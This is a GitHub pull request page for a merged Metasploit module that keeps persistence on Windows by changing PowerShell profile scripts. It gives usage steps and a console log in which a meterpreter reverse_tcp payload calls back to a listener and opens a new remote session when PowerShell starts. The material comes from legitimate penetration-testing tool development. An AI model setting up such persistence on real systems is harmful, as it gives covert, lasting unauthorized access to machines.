Skip to content

Windows Persistence: Powershell Profile - #20933

Merged
dledda-r7 merged 14 commits into
rapid7:masterfrom
madefourit:persis_pwrshell_profile
Apr 14, 2026
Merged

Windows Persistence: Powershell Profile#20933
dledda-r7 merged 14 commits into
rapid7:masterfrom
madefourit:persis_pwrshell_profile

Conversation

@madefourit

Copy link
Copy Markdown
Contributor

This module establishes persistence by modifying a PowerShell profile script, which is automatically
executed when PowerShell starts. The module supports multiple profile scopes (current user or all users)
and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.

Verification

  1. Start msfconsole
  2. Get a shell on Windows
  3. Do: use exploit/windows/persistence/powershell_profile
  4. Do: set payload [payload]
  5. Do: set session #
  6. Do: run

You should get a shell when powershell is opened on the target machine.

Comment thread modules/exploits/windows/persistence/powershell_profile.rb Outdated

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf exploit(windows/persistence/powershell_profile) > show options

Module options (exploit/windows/persistence/powershell_profile):

   Name             Current Setting         Required  Description
   ----             ---------------         --------  -----------
   CREATE           true                    no        If a profile file doesnt exist, create one.
   EXECUTIONPOLICY  true                    no        Attempt to update execution policy to execute .
   PROFILE          CURRENTUSERCURRENTHOST  yes       The powershell profile to target. (Accepted: AUTO, ALLUSERSALLHOSTS, ALLUSERSCURRENTHOST, CURRENTUSERALLHOSTS, CURRENTUSERCURRENTHOST)
   SESSION          1                       yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.3.10     yes       The listen address (an interface may be specified)
   LPORT     4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto



View the full module info with the info, or info -d command.

msf exploit(windows/persistence/powershell_profile) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
msf exploit(windows/persistence/powershell_profile) > 
[*] Started reverse TCP handler on 192.168.3.10:4455 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Powershell is installed and exploitable on the target system
[*] C:\Users\msfuser\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 does not exist, creating it...
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/WIN11_22H2_0800_20260414.4633/WIN11_22H2_0800_20260414.4633.rc
msf exploit(windows/persistence/powershell_profile) > sessions -i 1 -C "execute -f powershell.exe"
[*] Running 'execute -f powershell.exe' on meterpreter session 1 (10.5.132.111)
Process 7844 created.
msf exploit(windows/persistence/powershell_profile) > 
[*] Sending stage (232006 bytes) to 10.5.132.111
[*] Meterpreter session 3 opened (192.168.3.10:4455 -> 10.5.132.111:62521) at 2026-04-14 08:48:17 -0400

msf exploit(windows/persistence/powershell_profile) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                Connection
  --  ----  ----                     -----------                                ----------
  1         meterpreter x64/windows  WIN11_22H2_0800\msfuser @ WIN11_22H2_0800  192.168.3.10:4445 -> 10.5.132.111:54173 (10.5.132.111)
  3         meterpreter x64/windows  WIN11_22H2_0800\msfuser @ WIN11_22H2_0800  192.168.3.10:4455 -> 10.5.132.111:62521 (10.5.132.111)

msf exploit(windows/persistence/powershell_profile) > 

@dledda-r7

Copy link
Copy Markdown
Contributor

Hello @madefourit thank you for this PR, Would it be possible for you to rebase it to the current upstream/master ? thanks!

@dledda-r7
dledda-r7 force-pushed the persis_pwrshell_profile branch from c366760 to 1b195b1 Compare April 14, 2026 15:26
@github-project-automation github-project-automation Bot moved this from Todo to In Progress in Metasploit Kanban Apr 14, 2026
@dledda-r7
dledda-r7 merged commit addcd69 into rapid7:master Apr 14, 2026
18 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Apr 14, 2026
@dledda-r7

Copy link
Copy Markdown
Contributor

Release Notes

This add a new persistence module that uses powershell profiles to mantain access.

@dledda-r7 dledda-r7 added the rn-modules release notes for new or majorly enhanced modules label Apr 14, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Archived in project

Development

Successfully merging this pull request may close these issues.

4 participants